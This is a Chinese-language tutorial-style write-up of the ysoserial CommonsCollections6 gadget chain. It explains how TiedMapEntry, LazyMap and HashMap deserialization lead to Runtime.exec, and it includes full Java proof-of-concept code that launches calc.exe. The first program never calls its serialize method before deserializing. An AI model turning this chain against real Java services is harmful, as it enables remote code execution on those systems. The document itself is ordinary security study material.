在ysoserial中,CommonsCollections6可以说是commons-collections这个库中相对⽐较通⽤的利⽤ 链,为了解决⾼版本Java的利⽤问题,我们先来看看这个利⽤链。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class cc6_test { public static void serialize(Object object) throws Exception{ ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(object); }
public static void unserialize(String filename) throws Exception{ ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); } public static void main(String[] args) throws Exception { Transformer[] fake_transformers = new Transformer[] {new ConstantTransformer(1)}; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(fake_transformers); Map decorate = LazyMap.decorate(new HashMap(), chainedTransformer); TiedMapEntry key = new TiedMapEntry(decorate, "key"); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(key,"sss"); decorate.remove("key"); Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(chainedTransformer, transformers);
unserialize("ser.bin"); } }
|
由于在java 8u71,这个利⽤链不能再利⽤了,主要原因 是sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化了。
ysoserial作者找到了另一条能够触发lazymap的方法,就是TiedMapEntry这个类中的getValue方法中调用了get方法

在其同类中的hashcode方法调用了get方法

所以我们想要进行rce就需要找到一个可以触发hashcode的方法,在URLDNS链中我们知道hashmap的readobject中调用了hash方法,而其hash方法中又调用了hashcode方法,所以调用链就出来了,我们可以构造一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| Transformer[] fake_transformers = new Transformer[] {new ConstantTransformer(1)}; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(fake_transformers); Map decorate = LazyMap.decorate(new HashMap(), chainedTransformer); TiedMapEntry key = new TiedMapEntry(decorate, "key"); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(key,"sss"); Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(chainedTransformer, transformers);
|
这里由于hasmap在put的时候也会调用hash方法所以我们先用一个假的invokertransformer进行put然后在反射修改成真的就不会在put的时候触发了,但是我们这样反序列化运行后发现也没有触发,这是什么原因,我们跟进来看看
我们发现在lazymap中并没有进入if条件,这说明key被传入了,但是我们并没有给lazymao传入值,这里通过调试发现我们在hashmap进行put的时候进入lazymap的if条件之后如果没有key值他是会在进行put进去的所以我们只需要在put之后在进行删除即可poc如开头。
参考:https://blog.csdn.net/weixin_49125123/article/details/135232651 Java安全漫谈 - 12.反序列化篇(6).pdf
cc6调用链
